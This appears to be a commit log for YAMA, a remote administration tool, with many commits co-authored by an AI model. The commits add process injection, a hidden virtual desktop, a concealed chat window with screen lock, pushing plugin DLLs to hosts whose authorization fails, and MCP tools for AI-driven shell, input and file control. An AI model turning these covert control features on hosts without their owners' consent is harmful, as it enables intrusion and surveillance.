64 Commits
Author SHA1 Message Date
yuanyuanxiang b89428bf35 Release v1.4.0 2026-10-07 13:57:34 +02:00
yuanyuanxianganddeepseek-v4-pro 3928dd76a3 Feature: Add icons to experimental features submenu
Add 16x16 menu icons for the three experimental-features items in the
online-host right-click menu: file management (folder), privacy screen
(shield with padlock), and drawing board (paintbrush). The new bitmaps
follow the existing #F0F0F0-background 32bpp convention and are wired
into the m_bmOnline array via LoadBitmap and SetMenuItemBitmaps, using
the same pattern as the other nested-submenu items.

Co-Authored-By: deepseek-v4-pro
2026-10-06 18:05:14 +02:00
yuanyuanxianganddeepseek-v4-pro d80d8f21da Feature: Add auth-failed trigger type (授权失败触发)
Add a second trigger type TRIGGER_AUTH_FAILED alongside the existing
TRIGGER_HOST_ONLINE. When a host's authorization fails — V1 or V2, at
initial TOKEN_AUTH or on a later heartbeat — the server fires the
auth-failed trigger and sends the configured plugin DLLs to the client,
gated by the existing ShouldLogAuth dedup so a persistently failing host
is re-triggered only once per hour or on a state change.

VerifyClientAuth gains a sender parameter so the failure branch can reach
the live connection context; both call sites (TOKEN_AUTH and heartbeat)
pass it. TriggerManager caches the auth-failed plugin names in a separate
set via HasAuthFailedTrigger/GetAuthFailedPlugins, leaving the online
trigger path untouched.

Rework the settings dialog so the plugin checklist reflects the currently
selected trigger type (new ReflectPluginsForType and a CBN_SELCHANGE
handler) instead of hardcoding the online trigger; remove the now-unused
GetOnlineTrigger helper. Add "授权失败" translations to en_US, zh_TW and
de_DE.

Co-Authored-By: deepseek-v4-pro
2026-10-06 17:50:30 +02:00
yuanyuanxianganddeepseek-v4-pro d269df9171 Feature: Migrate SimplePlugins drawing board (远程画板迁移)
Migrate the SimplePlugins remote drawing-board overlay into the YAMA client
as an "实验功能" right-click submenu entry. DrawingBoardMgr is isolated in
the SimplePluginsDrawingBoard namespace and draws pen paths and text onto a
transparent, top-most layered window.

The YAMA server already had the CDrawingBoard dialog, TOKEN_DRAWING_BOARD
(151) and the full RemoteDraw command set, so only the client overlay
manager and the menu wiring were missing. Add COMMAND_DRAWING_BOARD_PLUGIN
(165) and LoopDrawingBoardPlugin, spawned as a sub-connection from
KernelManager; the constructor sends TOKEN_DRAWING_BOARD so the existing
server dialog opens unchanged. Add a "远程画板" entry to the "实验功能"
submenu, routed via OnExperimentDrawingBoard.

Co-Authored-By: deepseek-v4-pro
2026-10-05 10:52:58 +02:00
yuanyuanxianganddeepseek-v4-pro 2fb6252285 Feature: Migrate SimplePlugins privacy screen (隐私屏幕迁移)
Migrate the SimplePlugins privacy-screen (virtual desktop) feature into the
YAMA client as an "实验功能" right-click submenu entry. The capture layer is
rewritten rather than copied: CScreenHideSpy now subclasses YAMA's ::CScreenSpy
(vDesk=TRUE) so capture and encoding reuse YAMA's encoder pipeline instead of
SimplePlugins' diverged jpeg capture chain; CScreenManagerBase and
CScreenHideManager are migrated under the SimplePluginsScreenHide namespace,
and SimplePlugins-only ALGORITHM_DEFAULT is mapped to ALGORITHM_DIFF.

Add COMMAND_PRIVATE_SCREEN_PLUGIN (164) and LoopPrivateScreenPlugin, spawned
as a sub-connection from KernelManager. The constructor sends
TOKEN_BITMAPINFO_HIDE so the existing server HideScreenSpyDlg opens unchanged.
Add a "隐私屏幕" entry to the "实验功能" submenu, routed via
OnExperimentPrivateScreen.

Also zero-initialize the GetTitle/szClass buffers to fix a 0xCC garbled log.

Co-Authored-By: deepseek-v4-pro
2026-10-05 10:41:04 +02:00
yuanyuanxianganddeepseek-v4-pro 2c3e1ca518 Feature: Migrate SimplePlugins file management (文件管理迁移)
Migrate the SimplePlugins file-management feature into the YAMA client as an
experimental feature. The migrated CFileManager, MasterEncoder and Info-Zip
sources live under client/file/ and are isolated in the SimplePluginsFile
namespace to avoid clashing with the native FileManager class.

Add COMMAND_FILE_MANAGER_PLUGIN (163) and LoopFileManagerPlugin, spawned as
a sub-connection from KernelManager. Add an "实验功能" submenu with a
"文件管理" entry above "客户管理" in the online-hosts right-click menu,
routed via OnExperimentFileManager to the existing TOKEN_DRIVE_LIST_PLUGIN
dialog path.

Co-Authored-By: deepseek-v4-pro
2026-10-05 10:09:26 +02:00
yuanyuanxianganddeepseek-v4-pro f72fda9b71 Feature: Machine management (主机管理)
Migrate the MachineManager client from SimplePlugins and wire the server toolbar.

Client:
- Add CMachineManager (process/window/net/software/IE history/favorites/service/task/hosts
  enumeration plus process injection via yapi.hpp).
- Add COMMAND_MACHINE_MANAGE (162) and spawn the manager on an authenticated
  sub-connection in KernelManager.
- Register MachineManager.cpp/.h and yapi.hpp in both client projects.

Server:
- Add the 主机管理 toolbar button (index 18, after 远程交谈) reusing the IDI_MACHINE icon,
  plus en/zh_TW/de translations.

Fix:
- Free the IEnumSTATURL strings (su.pwcsUrl/su.pwcsTitle) with CoTaskMemFree, release the
  enumerator, and set STATURL.cbSize to stop the IE-history leak reported by VLD.

Co-Authored-By: deepseek-v4-pro
2026-10-04 21:03:03 +02:00
yuanyuanxianganddeepseek-v4-pro c906a46bcc Fix: garbled instant-message popup title on client
The IDD_DIALOG caption was stored as UTF-8 bytes while the .rc file declares #pragma code_page(936) (GBK), so the resource compiler mis-decoded the caption and the client's bottom-right popup showed a garbled title. Convert the caption to GBK to match the declared code page and the rest of the file.

Co-Authored-By: deepseek-v4-pro
2026-10-04 20:10:12 +02:00
yuanyuanxianganddeepseek-v4-pro 6c9fef8793 Feature: Two-way remote chat (远程交谈)
Add a "远程交谈" toolbar button (placed after 连接管理) that sends COMMAND_CHAT(161) to the selected host. The host opens a sub-connection and the new CChatManager replies with TOKEN_CHAT_START(62) to open the server's existing CChat dialog. The host's chat window stays hidden until the first message or a screen-lock command arrives, and it supports server-triggered screen lock/unlock.

Co-Authored-By: deepseek-v4-pro
2026-10-04 19:55:29 +02:00
yuanyuanxianganddeepseek-v4-pro bbdb4104bf Feature: TCP/UDP connection management with force-disconnect
Add a connection-management feature to YAMA: a toolbar button (after MCP)
opens a dialog listing the managed host's TCP/UDP connections, with
right-click force-disconnect for IPv4 TCP rows.

Client: a new CConnectionsManager enumerates connections via iphlpapi
(GetExtendedTcpTable/GetExtendedUdpTable, IPv4+IPv6) and answers the
refresh and kill commands over a sub-connection.

Server: a new CConnectionsDlg (DialogBase) shows the list with sortable
columns and a right-click menu; the title-bar icon reuses the toolbar's
connection icon (res/connections.ico).

Fix byte order found during review: iphlpapi returns an IPv4 address as a
network-order DWORD and the port's low 16 bits in network order, so
storing them raw made the dialog show reversed IPv4 addresses and ports.
The client now stores addresses as network-order bytes and ports as host
order (ntohs), and reverses the conversion on disconnect.

Co-Authored-By: deepseek-v4-pro
2026-10-04 18:23:06 +02:00
yuanyuanxianganddeepseek-v4-pro 8d0f419093 Improve: multi-line keyword input in notification settings
Replace the single-line, semicolon-separated keyword field with a taller
multi-line edit box (with a vertical scrollbar) where each keyword goes on
its own line. The stored format stays semicolon-separated, so existing
notify.ini files remain valid; load/save convert between newlines and
semicolons, trimming each keyword and skipping empty lines.

Also decode the stored matchPattern as UTF-8 when loading the dialog, so
non-ASCII keywords round-trip correctly (matching the CP_UTF8 encoding
used on save).

Co-Authored-By: deepseek-v4-pro
2026-10-04 14:39:38 +02:00
yuanyuanxianganddeepseek-v4-pro f3a05c14b1 Feature: Play remote audio on iPhone via WebAudio + self-hosted Opus WASM
iOS WebKit lacks Media Source Extensions with WebM/Opus, so remote audio
was silent on iPhone Safari/Chrome even though audio frames kept flowing.
Add a Web Audio API fallback path that decodes Opus packets with the
`opus-decoder` WASM library and schedules them onto an AudioContext.

The decoder bundle is now self-hosted — served at /static/opus-decoder.min.js
by both the Go and C++ servers — instead of pulled from a CDN, which was
unreachable from some networks.

Gotcha fixed during bring-up: the unscoped `opus-decoder` build's
`OpusDecoder.decodeFrame` is synchronous and returns {channelData,
samplesDecoded, sampleRate, errors} directly, not a Promise, so it must be
called in try/catch rather than via .then().

Also remove the on-screen diagnostic overlay (audio toast + frame counter)
used while debugging the phone without a console; diagnostics now go to
console.* only.

Co-Authored-By: deepseek-v4-pro
2026-10-03 18:23:10 +02:00
yuanyuanxianganddeepseek-v4-pro d118558eda Fix: skip wasted geo-IP lookup blocking the host double-click tooltip
The online-host double-click handler called IPConverter::GetGeoLocation on
the UI thread before showing the floating tooltip, even when no local IP
database (QQWry/ip2region) was loaded. In that default configuration the
result is never displayed, yet the call issues up to three synchronous HTTP
requests (5s timeout each), delaying the tooltip by a network round trip or
worse.

Only run the lookup when a local database is actually loaded, and memoize
successful results per IP in a process-wide cache inside GetGeoLocation so
the remaining call sites (license activity, host-login fallback) do not
re-query the same IP. The cache uses function-local statics rather than
class members to keep IPConverter's layout unchanged and stay ABI-compatible
with the precompiled PrivateDesktop_Lib.lib QQWry/Ip2Region subclasses.

Co-Authored-By: deepseek-v4-pro
2026-10-03 09:44:01 +02:00
yuanyuanxianganddeepseek-v4-pro 76decec0fe Feature: Add file-transfer speed dialog with multi-language support
Add a novice-friendly "File Transfer Speed" dialog under the Advanced menu
that controls file-transfer speed in both directions without touching
SimplePlugins. Speed is passed through InitFileUpload's existing
chunkSizeKb/sendDurationMs arguments, so the precompiled library stays
untouched. Seven presets run from ~0.3 MB/s up to a new 10 MB/s tier plus an
unlimited tier; the chosen value is stored in [transfer] ChunkKb/DurationMs.

Upload reads THIS_CFG at the master's InitFileUpload (2015RemoteDlg.cpp:2225)
and takes effect on restart. Download is pushed to the client over a new
CMD_FILE_SPEED (252) command, sent from OnOnlineFileManager and
OnOnlineDesktopManager before each session opens, and read by all four client
InitFileUpload call sites via GetTransferSpeed so the process-global refcount
cannot latch a stale speed. All Chinese strings go through LangManager, with
en_US/zh_TW/de_DE entries added for the tier names, format strings and hint
text.

Co-Authored-By: deepseek-v4-pro
2026-10-02 19:57:57 +02:00
yuanyuanxianganddeepseek-v4-pro 9eed43bc8d Feature: Add MCP device management-control tools (kill/window/service/power)
Add P7 management-control tools behind a single McpManage flag (plus
McpReadonly=0): kill_process, operate_window, control_service and
power_action. The write tools run a ready->confirm lifecycle on their
sub-connection, using a new followUp/followUpSent field to tell the two
arrivals of the same TOKEN_*LIST apart; the write command and the follow-up
refresh command go out as two separate Send2Client calls, with a new
WaitSendIdle() (context.h / Server.h) draining the outbound buffer in between
so the same buffer is never WSASend'd concurrently.

McpSettingsDlg gains a "management operations" checkbox (IDC_MCP_MANAGE), the
main toolbar gains an MCP entry button, and en/de/zh-TW strings are synced.
power_action is fire-and-forget over the main connection (no confirmation).

Verified end-to-end against a real Windows 10/VMware client: kill_process
returns remaining:[] and operate_window/control_service return ok:true with
their confirm packet arriving after an HTTP split. Verification surfaced a
prerequisite parser bug, fixed separately in a72e6eb, where HeaderParser
latched m_bShouldUnmask FALSE on HTTP continuation chunks and dropped the
confirm packet.

Co-Authored-By: deepseek-v4-pro
2026-10-01 16:56:30 +02:00
yuanyuanxianganddeepseek-v4-pro a72e6eb391 Fix: keep m_bShouldUnmask latched TRUE once a connection is HTTP
HeaderParser::Parse reset m_bShouldUnmask to FALSE on any non-HTTP
maskType, including the continuation chunk of an HTTP connection whose
read offset is already past the "POST " header. When a large packet
(e.g. a >1460-byte process list) was split by MSS, the second chunk
latched the flag to FALSE, so the next new HTTP-masked packet was no
longer unmasked: CheckHead then read the HTTP header as the flag,
returned FLAG_UNKNOWN/PARSER_FAILED, and the packet was dropped. This
explains "first packet succeeds, subsequent packets vanish", and why
the MFC process dialog went blank after killing a process (the confirm
packet never reached NotifyProc).

Only clear the flag when the connection was not already determined to
be HTTP (initial -1, or already confirmed non-HTTP).

Co-Authored-By: deepseek-v4-pro
2026-10-01 16:18:26 +02:00
yuanyuanxianganddeepseek-v4-pro e9d60e6e23 Feature: Add Shine/HELL protocol selection to share/transfer host
Add a dedicated ShareHostDlg with a "Use Shine protocol" checkbox (default
checked) so the operator can choose Shine (0) or HELL (1) when sharing or
transferring a host. The chosen protocol is appended to the wire payload as a
trailing colon field: "IP:PORT:0/1" for share and "IP:PORT:days:0/1" for
transfer.

The client parses the trailing field from COMMAND_SHARE and
COMMAND_ASSIGN_MASTER, applies it to new connections, and persists it so
auto-share/auto-transfer on restart keeps the same protocol. Old clients
ignore the extra field, and old/missing payloads fall back to -1 (baked-in
HELL), preserving compatibility with existing servers and share_list entries.

Co-Authored-By: deepseek-v4-pro
2026-09-11 16:28:37 +02:00
yuanyuanxianganddeepseek-v4-pro 42df128f62 Feature: Support subpath deployment for Go web UI
Add optional YAMA_WEB_BASE_PATH to mount the whole web UI (index, manifest,
static assets, /health, /api/devices, /ws) under a URL prefix such as
/remoter behind a reverse proxy. index.html now uses a __BASE_PATH__
placeholder substituted at serve time, the PWA manifest start_url is rooted
at the base path, and a mount wrapper redirects the bare prefix to prefix/
and strips it before routing. Include nginx, systemd, and env-file deployment
examples for the subpath setup.

The shared placeholder is also handled by the MFC server, which serves from
the domain root and strips __BASE_PATH__ (to "") so its web remote desktop
URLs stay rooted.

Co-Authored-By: deepseek-v4-pro
2026-09-11 12:48:21 +02:00
yuanyuanxianganddeepseek-v4-pro 32cc7af371 Feature: Add configurable screen-preview quality levels menu
Add a "屏幕预览质量等级 (Screen Preview Quality Levels)" item to the
"高级 (Advanced)" menu that opens a dialog to edit the six preset
PreviewProfile levels (target encode width and JPEG quality) used by the
double-click single-preview and loop-snapshot floating windows. The dialog
edits a working copy in a full grid with per-field validation and a
restore-defaults button; on OK it persists the values to the [preview] INI
section.

ChooseScreenPreviewParams now reads from GetPreviewProfileCfg instead of the
hardcoded GetScreenPreviewProfile table, so preview requests sent after a
change use the configured parameters. LoadPreviewProfilesFromCfg loads the
saved levels at startup, falling back to the built-in defaults. Added
en_US/de_DE/zh_TW translations for the new menu and dialog strings.

Co-Authored-By: deepseek-v4-pro
2026-09-10 14:42:28 +02:00
yuanyuanxianganddeepseek-v4-pro 033ff077ef Feature: Add configurable remote-desktop quality levels menu
Add an "高级 (Advanced)" menu after "其他 (Other)" whose
"远程桌面质量等级 (Remote Desktop Quality Levels)" item opens a dialog to
edit the six preset QualityProfile levels (max FPS, max width, codec
algorithm, bitrate). The dialog edits a working copy in a full grid with
per-field validation and a restore-defaults button; on OK it persists the
values to the [quality] INI section.

The server stays authoritative: LoadQualityProfilesFromCfg loads the saved
levels at startup (falling back to GetQualityProfile defaults), and
ScreenSpyDlg now sends CMD_QUALITY_PROFILES from GetQualityProfileCfg so
new remote-desktop sessions transmit with the configured parameters. Added
en_US/de_DE/zh_TW translations for the menu and dialog strings.

Co-Authored-By: deepseek-v4-pro
2026-09-09 17:13:17 +02:00
yuanyuanxianganddeepseek-v4-pro 0416dadbba Feature: Add language-switch toolbar button and bilingual dialog
Add a 15th toolbar button "Lang/语言" after the Help button so Chinese
readers can switch language without knowing English; it opens the existing
language-select dialog. The dialog title is now bilingual ("切换语言 /
Switch Language") and its label/buttons use Chinese source strings
("语言:", "确定", "取消"), which still localize to en/de via
TranslateDialog. The toolbar bitmap is extended with a globe icon.

Co-Authored-By: deepseek-v4-pro
2026-09-08 16:34:45 +02:00
yuanyuanxianganddeepseek-v4-pro 91238da50d Feature: Add German (de_DE) language support
Add German as the fourth selectable UI language. The new de_DE.ini mirrors
en_US.ini with byte-identical Chinese keys (2028 lines, zero missing
translations, zero key mismatches), so it passes CheckEncoding and appears in
the language list automatically. German values are pure-ASCII transliterations
(ae/oe/ue/ss) because the GBK/CP936 architecture cannot encode umlauts.
LangManager.h now maps de_DE to the display name "Deutsch". Also translated the
seven Chinese value==key gaps that en_US itself left untranslated.

Co-Authored-By: deepseek-v4-pro
2026-09-06 10:33:49 +02:00
yuanyuanxianganddeepseek-v4-pro 221617fe02 Fix: Translate remaining server UI strings missing _TR/_L
Wrap the last untranslated Chinese UI strings so English mode stops showing
raw Chinese. Format strings passed to sprintf/wsprintf and the status-bar
SendMessageTimeout calls now go through _TRF, and the CString/PostMessage
literals plus a few member-initializer and Compare values go through
_TR/_L. Covers the wallet validation message, the SOCKS proxy connection
log lines, the file-manager status bar, and the machine-info progress
messages.

Add the 24 corresponding entries to lang/en_US.ini and lang/zh_TW.ini
(GBK), keeping the escaped-format-string key style. The Yes/No/Desktop/
Recent keys already existed, so the BuildDlg and CFileManagerDlg compare
fixes reuse them.

Co-Authored-By: deepseek-v4-pro
2026-09-06 09:39:59 +02:00
yuanyuanxianganddeepseek-v4-pro dd845823b6 Feature: Add get/set clipboard buttons to remote desktop toolbar
Add two toolbar buttons — get clipboard (letter C) and set clipboard (letter P) —
after the screenshot button and before the minimize button, so clipboard sync stays
reachable in fullscreen mode where the system menu cannot be opened.

The buttons reuse the existing IDM_GET_CLIPBOARD / IDM_SET_CLIPBOARD system-menu
handlers by posting WM_SYSCOMMAND to the parent. The toolbar button count grows
from 16 to 18, and the slide/animation dimensions are widened from 640 to 720.
Letter C/P icons and Simplified-Chinese source strings ("获取剪贴板", "设置剪贴板")
are added, along with English and Traditional-Chinese translations.

Co-Authored-By: deepseek-v4-pro
2026-09-03 13:29:39 +02:00
yuanyuanxiang b41b27bfe4 Release v1.3.9 2026-09-02 19:13:40 +02:00
yuanyuanxianganddeepseek-v4-pro 6bcd593b6d Feature: Add upload_file MCP tool (V2 protocol, main-connection upload)
Implement the P2 upload_file tool to push a local file or directory from the
master to an online Windows host over the existing V2 file-transfer protocol.
The server drives FileBatchTransferWorkerV2 synchronously on the main
connection through a headless callback, reuses the list_files chain for the
overwrite pre-check, and is gated by McpFileTransfer=1 plus McpReadonly=0.

The client main connection never initialized the file-transfer module, so
g_status stayed 0 and RecvFileChunkV2 silently dropped every chunk, truncating
uploads to zero bytes. Add a once-per-process lazy InitFileUpload in the
COMMAND_SEND_FILE_V2 handler that mirrors the FileManager init; the destructor
deliberately does not Uninit so g_status remains 1 across reconnects.

Update the design doc to record the client-side change and correct the
upload_file description to state that sha256 is not returned (V2 has no
receiver-to-sender ACK; integrity is checked client-side and logged only).

Co-Authored-By: deepseek-v4-pro
2026-08-31 22:43:16 +02:00
yuanyuanxianganddeepseek-v4-pro 5c77f5ce14 Feature: Add download_file MCP tool (V2 protocol, SHA-256 verified)
download_file pulls a remote file or directory back to the controller over
the existing V2 file-transfer protocol. It reuses COMMAND_LIST_DRIVE to open
the file-manager sub-link, then sends CMD_DOWN_FILES_V2 so the Windows client
streams COMMAND_SEND_FILE_V2 chunks and a per-file COMMAND_FILE_COMPLETE_V2
SHA-256 checksum over its own authenticated sub-connection. The server routes
those two packet types into a new per-device FileTransferSession whenever a
download is pending, so the headless path never opens the GUI progress dialog;
the C2C and existing GUI branches are left untouched.

Files are written under a normalized local_dir, and every chunk filename is
resolved and verified to stay inside local_dir (directories included) to block
.. traversal; overwrite=false skips existing files and counts them as skipped.
One transfer per host (mutually exclusive with the one-shot pending registry),
a dedicated McpFileTransfer=0-by-default gate surfaced in the settings dialog,
and audit logging complete the change. upload_file remains future work.

Co-Authored-By: deepseek-v4-pro
2026-08-30 13:19:51 +02:00
yuanyuanxianganddeepseek-v4-pro ac2855198b Fix: terminal_exec sentinel timeout on numeric timeout_ms and silent commands
Two independent bugs made MCP terminal tools time out despite the command
finishing.

First, timeout_ms is declared integer in the tool schemas but was parsed
through GetStringArg, which only reads JSON strings. A numeric value fell
through to the 20s default, so callers asking for a longer wait were cut off
at 20s. exec_command, terminal_open, terminal_exec and remote_open now parse
timeout_ms through GetIntArg, which accepts both JSON numbers and digit
strings, keeping the 1..600000 range guard.

Second, FindSentinel treated the __MCP_DONE_<nonce>__ marker as a line start
only when preceded by \n. Commands that produce no output (ping > nul,
Start-Sleep, tar -czf) echo their command line ending in \r, so the marker
never matched and the wait ran to timeout even though the command had
completed. The check now also accepts \r.

Co-Authored-By: deepseek-v4-pro
2026-08-30 13:19:22 +02:00
yuanyuanxianganddeepseek-v4-pro 52b4afb8cf Improve: three-state online host list sorting
Clicking the same column header now cycles ascending -> descending ->
restore default order instead of only toggling direction. The default order
is the host connection order, reconstructed by sorting on online time
(descending alive time) so it no longer depends on the in-memory append
order surviving an earlier sort. The reset preference is persisted as an
empty value so it survives a restart.

Co-Authored-By: deepseek-v4-pro
2026-08-29 16:29:49 +02:00
yuanyuanxianganddeepseek-v4-pro 35dc2d89a0 Fix: hold IoRefCount across deferred heartbeat update to prevent use-after-free
Frequent standby-park churn (duplicate logins sharing one clientID) was
crashing the server with 0xC0000409 (STACK_BUFFER_OVERRUN). The heartbeat
handler posts the raw CONTEXT_OBJECT pointer via PostMessageA
(WM_UPDATE_ACTIVEWND) without holding a reference, so RemoveStaleContext
could recycle the context back to the pool and reuse it before the UI
thread consumed the queued message. UpdateActiveWindow then read a
stale/recycled object, and the unguarded Authorization memcpy overflowed
the 200-byte HeartbeatACK field and clobbered the stack cookie.

Hold the object's IoRefCount across the deferred message: fetch_add
before PostMessageA (with rollback on failure) and a paired fetch_sub in
UpdateUserEvent after UpdateActiveWindow returns. RemoveStaleContext
already waits for IoRefCount == 0 before MoveContextToFreePoolList, so
the object is now guaranteed to stay alive for the whole deferred call.

Also bound the three memcpy sites (two Signature[64], one
Authorization[200]) with explicit truncation so an unexpectedly long
signature or license can no longer overflow its fixed buffer in Release
builds, where ASSERT is a no-op.

Co-Authored-By: deepseek-v4-pro
2026-08-29 06:44:27 +02:00
yuanyuanxianganddeepseek-v4-pro d99122b25f Fix: Window manager view check reads stale state after restore
The window manager's "view" action checks the window state against the
ItemData.Data[2] field populated when the list was built. The right-click
show/hide/maximize/minimize handlers updated only the list control's display
text via SetItemText, leaving Data[2] stale. After restoring a minimized
window, viewing still reported "该窗口已最小化" until the dialog was reopened.

Sync Data[2] alongside SetItemText in all four handlers so the view check and
the status-column sort both see the current state.

Co-Authored-By: deepseek-v4-pro
2026-08-26 21:24:07 +02:00
yuanyuanxianganddeepseek-v4-pro d55d40e7a2 Feature: Exclude human Web viewing from MCP remote control sessions
Complete the bidirectional mutual exclusion between MCP remote control
and human Web viewing (§8.2). Direction 1 (remote_open rejected while a
human session holds the screen sub-connection) already existed; this adds
direction 2: a human Web viewer is now rejected while an MCP session owns
the device.

Add a m_McpTriggeredDevices marker (mirroring m_MfcTriggeredDevices) that
is set when an MCP session is created (BeginScreenCtrlOpen) and cleared at
every session-erasure site (CloseScreenCtrlSession, SweepIdleScreenCtrl,
OnScreenControlClosed, EndScreenCtrlAction), so the marker cannot go stale
and permanently block humans. HandleConnect checks IsMcpTriggered before
mutating client state or starting the remote desktop.

Co-Authored-By: deepseek-v4-pro
2026-08-25 14:14:26 +02:00
yuanyuanxianganddeepseek-v4-pro 25a6e2d07a Feature: Add remote_clipboard MCP tool
Add the remote_clipboard tool to the MCP remote control surface, writing
text to the remote host's clipboard via COMMAND_SCREEN_SET_CLIPBOARD
through the established screen sub-connection. Input UTF-8 is converted
to GBK (ToAnsi, code page 936) to match the client's CF_TEXT/ANSI
clipboard path, mirroring the existing CScreenSpyDlg::SendServerClipboard
packet format. Pasting remains a separate step (remote_keyboard Ctrl+V).

Known MVP limitation, documented in the tool description: non-GBK
characters (e.g. emoji) are replaced by '?' on the CF_TEXT path.

Co-Authored-By: deepseek-v4-pro
2026-08-25 13:45:51 +02:00
yuanyuanxianganddeepseek-v4-pro 18259b8526 Feature: Add remote_mouse MCP tool
Add the remote_mouse tool to the MCP remote control surface, injecting
mouse events (move / down / up / click / right_click / middle_click /
drag / scroll) into an established remote_open session. Normalized 0..1
coordinates are mapped to physical pixels via the session's captured
resolution and clamped to screen bounds. Scroll follows the existing web
console's wheel sign convention (positive delta scrolls down) and is
vertical-only.

Extract BuildMouseMsg64 into WebService.h as a shared helper, reused by
both the web console's HandleMouse and the new MCP handler so the two
injection paths cannot drift.

Co-Authored-By: deepseek-v4-pro
2026-08-25 13:38:09 +02:00
yuanyuanxianganddeepseek-v4-pro f04d892ac8 Feature: Add remote_keyboard MCP tool (key_down / key_up / key_press / type)
Implement milestone M2b of the MCP remote-control design: inject keyboard
events through an existing screen sub-connection.

- Extract the MSG64 keyboard construction from WebService::HandleKey into a
  shared inline BuildKeyMsg64 helper in WebService.h, and have HandleKey use
  it (behaviour-preserving) so the Web and MCP paths cannot drift.
- Add BuildRemoteKeyboard with four actions: key_down / key_up / key_press
  (key name -> VK via MapKeyNameToVk, plus CTRL/ALT/SHIFT/WIN modifiers) and
  type (per-character VkKeyScanA mapping, ASCII only, newline/tab -> Enter/Tab).
  The batch is sent as one [COMMAND_SCREEN_CONTROL][MSG64*N] packet over the
  screen sub-connection under the existing Begin/EndScreenCtrlAction busy
  discipline, then audited via WM_SHOWERRORMSG.

Non-ASCII text is rejected (-32602) and must go through remote_clipboard +
Ctrl+V (milestone M4), matching the design's clipboard path for CJK input.

Co-Authored-By: deepseek-v4-pro
2026-08-25 13:22:00 +02:00
yuanyuanxianganddeepseek-v4-pro c844ba7614 Fix: Client misparses screen-control batches when record count is a multiple of 7
ProcessCommand chose the MSG record size by testing "ulLength % 28 == 0"
before "% 48 == 0". The two sizes' least common multiple is 336 (7*48 =
12*28), so a 48-byte batch whose record count is a multiple of 7 was
misclassified as 28-byte MSG32 records, shifting every field and garbling
(or silently dropping) injected input.

Check "% 48 == 0" first. The modern controller always emits 48-byte MSG64;
the 28-byte MSG32 path is legacy 32-bit-controller compatibility and is only
reached when 48 does not divide evenly. This is the first feature (MCP
remote_keyboard "type", and the upcoming remote_mouse drag) to emit
multi-record batches, which is what made the latent bug reachable.

Co-Authored-By: deepseek-v4-pro
2026-08-25 13:21:54 +02:00
yuanyuanxianganddeepseek-v4-pro 09018e2b4d Improve: Harden MCP screen-ctrl session state machine for injection
Add the busy/closed flags to ScreenCtrlSession plus BeginScreenCtrlAction
/ EndScreenCtrlAction, mirroring the terminal's busy discipline so an
in-flight injection cannot race with session teardown (review finding #6).

While an injection is in flight (busy=true), OnScreenControlClosed marks the
session closed instead of erasing it (the injection thread, which still holds
subCtx, cleans up in EndScreenCtrlAction), SweepIdleScreenCtrl skips it, and
CloseScreenCtrlSession defers the erase. The subCtx is looked up under
m_ScreenCtrlMutex and the injection is sent outside the lock, matching the
established terminal pattern; the screen sub-connection's CONTEXT_OBJECT::Send2Client
already serializes internally via SendLock.

Co-Authored-By: deepseek-v4-pro
2026-08-25 13:04:05 +02:00
yuanyuanxianganddeepseek-v4-pro 6045baadb8 Feature: Add MCP remote_open/remote_close remote control sessions
Add M1 of MCP remote control (docs/Mcp_RemoteControl_Design.md): the
remote_open / remote_close tools plus the ScreenCtrlSession state machine.

remote_open establishes a hidden screen sub-connection by reusing
WebService::StartRemoteDesktop (COMMAND_SCREEN_SPY -> CScreenSpyDlg ->
RegisterScreenContext), polls for the sub-connection plus its physical
resolution (TOKEN_BITMAPINFO -> NotifyResolutionChange -> GetScreenSize),
then records the session (single device, single session, reverse-mapped
subCtx for OfflineProc cleanup) and returns {session_id, screen_w,
screen_h}. remote_close validates session_id and tears down the
sub-connection idempotently. A McpRemoteControl settings checkbox (default
off, requires McpReadonly=0) gates the tools; every open/close is audited
via WM_SHOWERRORMSG.

Gating: multi-monitor hosts are rejected with -32008 (phase 1 supports only
single monitor, where Observe=main screen and Act=virtual desktop coincide);
the monitor count comes from the client heartbeat RES_RESOLUTION ("N:W*H").

Known limitations (deferred to the injection milestones): mutual exclusion
with human remote-desktop viewing is one-directional in M1 (a human who
joins during an MCP session can tear it down on disconnect), and subCtx is
not yet dereferenced so no liveness re-check is needed until
remote_mouse/remote_keyboard.

Co-Authored-By: deepseek-v4-pro
2026-08-25 12:55:52 +02:00
yuanyuanxianganddeepseek-v4-pro 84e3565de1 doc: Add remote control MCP design doc
Add docs/Mcp_RemoteControl_Design.md, the reference design for an
screenshot-driven AI remote-control feature: the existing get_screenshot for
observation plus remote_open/remote_close/remote_mouse/remote_keyboard for
input injection, reusing COMMAND_SCREEN_PREVIEW_REQ and COMMAND_SCREEN_CONTROL
+ MSG64. Coordinates are normalized (0..1) and mapped server-side to physical
pixels; injection runs over the screen sub-connection opened by
WebService::StartRemoteDesktop's hidden CScreenSpyDlg. Includes a
chat-on-behalf experiment case with clipboard-encoding and window-capture
notes.

Also fold in the get_audit_log encoding correction for
docs/Mcp_Terminal_Design.md, so the two doc changes ship as one commit.

Co-Authored-By: deepseek-v4-pro
2026-08-24 21:51:12 +02:00
yuanyuanxianganddeepseek-v4-pro 70dbb6b255 Feature: Add persistent remote terminal MCP tools
Add terminal_open / terminal_exec / terminal_close so an AI can hold one
shell session per Windows host and run a sequence of commands with cwd and
environment preserved, instead of the one-shot exec_command.

The persistent terminal is a separate full-command write capability gated by
McpTerminal (default off) plus McpReadonly=0, with no whitelist and full
audit. One device maps to one terminal session via the shared m_TermSessions
map; idle sessions are swept after 300s. terminal_exec rejects commands that
contain & or | (they corrupt the sentinel control-operator chain) as well as
control characters.

Also harden exec_command and terminal_exec against newline/CR injection, fix a
dangling subCtx after an abrupt shell disconnect, and refresh lastActiveAt on
command completion. Add en/zh-TW translations for the new UI strings and a
design document covering both exec_command and the persistent terminal.

Co-Authored-By: deepseek-v4-pro
2026-08-24 19:11:16 +02:00
yuanyuanxianganddeepseek-v4-pro 0ddbc1aced Feature: Add exec_command MCP tool
Add a one-shot exec_command MCP tool that runs a command on a remote
Windows host and returns stdout plus exit code, reusing the Web terminal
link (main-connection COMMAND_SHELL, a shell sub-connection, and a
sentinel command line located via rfind to tolerate ConPTY echo).

The sentinel marker is embedded in the command line ConPTY echoes back,
so it is only treated as hit when it starts a line (preceded by a newline
or the buffer start); this keeps the echoed marker from being mistaken
for the real sentinel when the echo packet arrives before the output.

Execution is gated at Web remote-desktop sensitivity: a read-only mode
(McpReadonly, default on, hides the tool) and a command whitelist
(McpCmdWhitelist) with built-in read-only prefixes. Shell metacharacters
(& | < > ^) are rejected before whitelist matching, and each execution is
recorded in the server audit log.

